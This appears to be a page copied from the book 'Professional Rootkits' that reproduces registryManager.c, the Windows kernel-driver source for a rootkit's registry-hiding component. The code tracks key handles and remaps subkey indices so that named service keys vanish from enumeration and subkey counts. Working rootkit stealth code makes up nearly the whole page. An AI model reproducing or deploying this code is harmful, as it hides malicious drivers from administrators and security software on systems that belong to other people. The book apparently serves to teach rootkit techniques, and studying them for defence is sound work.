registryManager.c


The file registryManager.c contains the 12 functions that implement registry key hiding. These functions are as follows:

  • InitializeKeyTracking–Called to initialize the key list at startup

  • FreeKeyTrackingData–Called to free key list memory at shutdown

  • FindKeyHandle–Finds a key list entry from a key handle

  • AddNewKeyHandle–Adds a new key list entry

  • GetSubkeyCount–Reports the subkeys of a key, skipping hidden keys

  • FreeKeyHandle–Deletes a key list entry

  • AllocateKeyHandle–Allocates memory for a key list entry

  • AddIndices–Adds subkey index data to a key list entry

  • AdjustNextNewIndex–Fixes a subkey index for multiple subkeys

  • AdjustIndices–Adjusts subkey indices when multiple subkeys are detected

  • GetNewIndex–Reports a subkey index, skipping hidden keys

  • CreateHiddenKeyIndices–Creates a key list entry

  // keyManager // Copyright Ric Vieler, 2006 // Routines used by registry key hooks #include "ntddk.h" #include "Ghost.h" #include "registryManager.h" // keys to hide #define SERVICE_KEY1_LENGTH  14 #define SERVICE_KEY2_LENGTH  10 #define SERVICE_KEY3_LENGTH  10 WCHAR g_key1[] = L"MyDeviceDriver"; WCHAR g_key2[] = L"SSSDriver1"; WCHAR g_key3[] = L"SSSDriver2"; // master key list KEY_HANDLE g_keyList; // synchronization objects KSPIN_LOCK g_registrySpinLock; KIRQL g_pCurrentIRQL; // Call this once from DriverEntry() void InitializeKeyTracking() {  memset(&g_keyList, 0, sizeof(KEY_HANDLE)); } // Call this once from OnUnload() void FreeKeyTrackingData() {  REG_KEY_DATA* pKeyData;  SUBKEY_DATA* pSubkeyData;  SUBKEY_DATA* pNextSubkey;  KEY_HANDLE* pNextKeyHandle;  KEY_HANDLE* pKeyHandle = g_keyList.next;  while( pKeyHandle )  {   pKeyData = ((REG_KEY_DATA*)( pKeyHandle->keyData ));   if( pKeyData )   {    pSubkeyData = pKeyData->subkeyData;    while( pSubkeyData )    {     pNextSubkey = pSubkeyData->next;     ExFreePool( pSubkeyData );     pSubkeyData = pNextSubkey;    }    ExFreePool( pKeyData );   }   pNextKeyHandle = pKeyHandle->next;   ExFreePool( pKeyHandle );   pKeyHandle = pNextKeyHandle;  } } // Look for a specific key KEY_HANDLE* FindKeyHandle( HANDLE hKey ) {  KEY_HANDLE* pKeyHandle = &g_keyList;  KeAcquireSpinLock( &g_registrySpinLock, &g_pCurrentIRQL );  while( pKeyHandle->next != NULL )  {   pKeyHandle = pKeyHandle->next;   if(pKeyHandle->handle == hKey)   {    KeReleaseSpinLock( &g_registrySpinLock, g_pCurrentIRQL );    return pKeyHandle;   }  }  KeReleaseSpinLock( &g_registrySpinLock, g_pCurrentIRQL );  return NULL; } // Add a key to the key list void AddNewKeyHandle( KEY_HANDLE* newKey ) {  KEY_HANDLE* pKeyHandle = &g_keyList;  KeAcquireSpinLock(&g_registrySpinLock, &g_pCurrentIRQL);  while( pKeyHandle->next != NULL )   pKeyHandle = pKeyHandle->next;  pKeyHandle->next = newKey;  newKey->next = NULL;  newKey->previous = pKeyHandle;  KeReleaseSpinLock(&g_registrySpinLock, g_pCurrentIRQL); } // Find the index that skips hidden keys ULONG GetNewIndex( HANDLE hKey, ULONG index ) {  KEY_HANDLE* pKeyHandle = FindKeyHandle( hKey );  KeAcquireSpinLock( &g_registrySpinLock, &g_pCurrentIRQL );  if( pKeyHandle )  {   if( pKeyHandle->keyData )   {    REG_KEY_DATA* pKeyData = ((REG_KEY_DATA*)( pKeyHandle->keyData ));    if( pKeyData )    {     SUBKEY_DATA* pSubkeyData = pKeyData->subkeyData;     while( pSubkeyData )     {      pSubkeyData = pSubkeyData->next;      if( pSubkeyData )      {       if( index == pSubkeyData->subkeyIndex )       {        ULONG foundIndex = pSubkeyData->newIndex;        KeReleaseSpinLock( &g_registrySpinLock, g_pCurrentIRQL );        return foundIndex;       }      }     }    }   }  }  KeReleaseSpinLock( &g_registrySpinLock, g_pCurrentIRQL );  return -1; } // Find the key count that skips hidden keys ULONG GetSubkeyCount( HANDLE hKey ) {  KEY_HANDLE* pKeyHandle = FindKeyHandle( hKey );  KeAcquireSpinLock( &g_registrySpinLock, &g_pCurrentIRQL );  if( pKeyHandle )  {   REG_KEY_DATA* pKeyData = ((REG_KEY_DATA*)( pKeyHandle->keyData ));   if( pKeyData )   {    ULONG subKeys = pKeyData->subkeys;    KeReleaseSpinLock(&g_registrySpinLock, g_pCurrentIRQL);    return( subKeys );   }  }  KeReleaseSpinLock(&g_registrySpinLock, g_pCurrentIRQL);  return -1; } void FreeKeyHandle( HANDLE hKey ) {  REG_KEY_DATA* pKeyData;  SUBKEY_DATA* pSubkeyData;  SUBKEY_DATA* pNextSubkey;  KEY_HANDLE* pKeyHandle = FindKeyHandle( hKey );  KeAcquireSpinLock( &g_registrySpinLock, &g_pCurrentIRQL );  if( pKeyHandle )  {   KEY_HANDLE* pPreviousKey = pKeyHandle->previous;   KEY_HANDLE* pNextKey = pKeyHandle->next;   pPreviousKey->next = pNextKey;   if( pNextKey )    pNextKey->previous = pPreviousKey;  }  KeReleaseSpinLock( &g_registrySpinLock, g_pCurrentIRQL );  if( pKeyHandle )  {   pKeyData = NULL;   pKeyData = ((REG_KEY_DATA*)( pKeyHandle->keyData ));   if( pKeyData )   {    pSubkeyData = pKeyData->subkeyData;    while( pSubkeyData )    {     pNextSubkey = pSubkeyData->next;     ExFreePool( pSubkeyData );     pSubkeyData = pNextSubkey;    }    ExFreePool( pKeyData );   }   ExFreePool( pKeyHandle );  } } KEY_HANDLE* AllocateKeyHandle( HANDLE hKey ) {  KEY_HANDLE* pKeyHandle = NULL;  pKeyHandle = (KEY_HANDLE*)ExAllocatePool( PagedPool,   sizeof(KEY_HANDLE) );  if( pKeyHandle )  {   memset( pKeyHandle, 0, sizeof(KEY_HANDLE) );   pKeyHandle->handle = hKey;   pKeyHandle->keyData = ExAllocatePool( PagedPool, sizeof(REG_KEY_DATA) );   if(pKeyHandle->keyData)   {    REG_KEY_DATA* pKeyData;    memset( pKeyHandle->keyData, 0, sizeof(REG_KEY_DATA) );    pKeyData = ((REG_KEY_DATA*)( pKeyHandle->keyData ));    pKeyData->subkeys = 0;    pKeyData->subkeyData = (SUBKEY_DATA*)ExAllocatePool(     PagedPool, sizeof(SUBKEY_DATA) );    if( pKeyData->subkeyData )    {     memset( pKeyData->subkeyData, 0, sizeof(SUBKEY_DATA) );    }   }  }  return pKeyHandle; } void AddIndices( KEY_HANDLE* pKeyHandle, ULONG index, ULONG newIndex ) {  REG_KEY_DATA* pKeyData = NULL;  if(( pKeyHandle ) && ( pKeyHandle->keyData ))  {   pKeyData =((REG_KEY_DATA*)( pKeyHandle->keyData ));   if( pKeyData )   {    SUBKEY_DATA* pSubkeyData = pKeyData->subkeyData;    while( pSubkeyData )    {     if( pSubkeyData->next == NULL )     {      pSubkeyData->next = (SUBKEY_DATA*)ExAllocatePool(       PagedPool, sizeof(SUBKEY_DATA));      if( pSubkeyData->next )      {       memset( pSubkeyData->next, 0, sizeof(SUBKEY_DATA) );       pSubkeyData->next->subkeyIndex = index;       pSubkeyData->next->newIndex = newIndex;       break;      }     }     pSubkeyData = pSubkeyData->next;    }   }  } } // increment next newIndex SUBKEY_DATA* AdjustNextNewIndex( SUBKEY_DATA* pSubkeyData, int offset ) {  SUBKEY_DATA* targetKey = NULL;;  while( pSubkeyData->next != NULL )  {   if( pSubkeyData->next->subkeyIndex + offset != pSubkeyData->next->newIndex )   {    // next key is a hidden key    // so increment newIndex    if( targetKey == NULL )    {     targetKey = pSubkeyData;    }    else    {     // adjust all new indices     // until next non hidden key     SUBKEY_DATA* tempKey = targetKey;     while( tempKey != pSubkeyData)     {      tempKey->next->newIndex++;      tempKey = tempKey->next;     }    }    targetKey->newIndex++;    offset++;   }   else   {    // keep incrementing newIndex    // until next key is not hidden    if( targetKey )     break;   }   pSubkeyData = pSubkeyData->next;  }  // list is now good up to target key  return targetKey; } // reindex key pair list when more than one // sub key is hidden under a single key void AdjustIndices( KEY_HANDLE* pKeyHandle, int hiddenKeys ) {  KeAcquireSpinLock(&g_registrySpinLock, &g_pCurrentIRQL);  if( pKeyHandle->keyData )  {   REG_KEY_DATA* pKeyData = ((REG_KEY_DATA*)( pKeyHandle->keyData ));   if( pKeyData )   {    int offset = 0;    SUBKEY_DATA* pSubkeyData = pKeyData->subkeyData;    // loop through indices looking for hidden keys    while( pSubkeyData->next != NULL )    {     if( pSubkeyData->subkeyIndex + offset != pSubkeyData->newIndex )     {      hiddenKeys--;      // adjust next hidden key      offset++;      pSubkeyData = AdjustNextNewIndex( pSubkeyData, offset );      offset = pSubkeyData->newIndex - pSubkeyData->subkeyIndex;     }     pSubkeyData = pSubkeyData->next;     // no need to exceed show count     if( !hiddenKeys )      break;    }   }  }  KeReleaseSpinLock( &g_registrySpinLock, g_pCurrentIRQL ); } // create a key list with index data that skips hidden keys int CreateHiddenKeyIndices( HANDLE hKey ) {  int status;  int index = 0;  int offset = 0;  int visibleSubkeys = 0;  PVOID pInfoStruct;  ULONG infoStructSize;  ULONG resultLength;  KEY_HANDLE* pKeyHandle = 0;  pKeyHandle = FindKeyHandle( hKey );  // remove old sub key data if it exists  if( pKeyHandle )   FreeKeyHandle( hKey );  pKeyHandle = AllocateKeyHandle( hKey );  // size must be larger than any of the info structures  infoStructSize = 256;  pInfoStruct = ExAllocatePool( PagedPool, infoStructSize );  if ( pInfoStruct == NULL )   return -1;  // enumerate subkeys  for(;;)  {   status = ZwEnumerateKey(    hKey,    index,    KeyBasicInformation,    pInfoStruct,    infoStructSize,    &resultLength);   if( status == STATUS_SUCCESS )   {    // Add one compare for each hidden key defined    if( !wcsncmp(       ((KEY_BASIC_INFORMATION*)pInfoStruct)->Name,       g_key1,       SERVICE_KEY1_LENGTH) ||     !wcsncmp(       ((KEY_BASIC_INFORMATION*)pInfoStruct)->Name,       g_key2,       SERVICE_KEY2_LENGTH) ||     !wcsncmp(       ((KEY_BASIC_INFORMATION*)pInfoStruct)->Name,       g_key3,       SERVICE_KEY3_LENGTH) )    {     offset++;    }    else    {     visibleSubkeys++;    }    AddIndices( pKeyHandle, index, (index + offset));    index++;   }   else   {    // STATUS_NO_MORE_ENTRIES    break;   }  }  if( offset > 1 )  {   // required if more than one sub key was found   AdjustIndices( pKeyHandle, offset );  }  ExFreePool( (PVOID)pInfoStruct );  /* update data about this handle */  if( pKeyHandle )  {   REG_KEY_DATA* pKeyData = ((REG_KEY_DATA*)( pKeyHandle->keyData ));   if( pKeyData )   {    pKeyData->subkeys = visibleSubkeys;   }   AddNewKeyHandle( pKeyHandle );  }  return 0; } 

Note that SSSDriver1, SSSDriver2, and MyDeviceDriver are arbitrary registry keys chosen to hide the rootkit developed in this book and to demonstrate the capability to hide two adjacent keys. You will already have the MyDeviceDriver key after loading the rootkit; you will need to add SSSDriver1 and SSSDriver2 registry keys to see them magically disappear when the rootkit is started.




Professional Rootkits
Professional Rootkits (Programmer to Programmer)
ISBN: 0470101547
EAN: 2147483647
Year: 2007
Pages: 229
Authors: Ric Vieler

Similar book on Amazon
Rootkits: Subverting the Windows Kernel
Rootkits: Subverting the Windows Kernel
A Guide to Kernel Exploitation: Attacking the Core
A Guide to Kernel Exploitation: Attacking the Core
Reversing: Secrets of Reverse Engineering
Reversing: Secrets of Reverse Engineering
Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code
Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net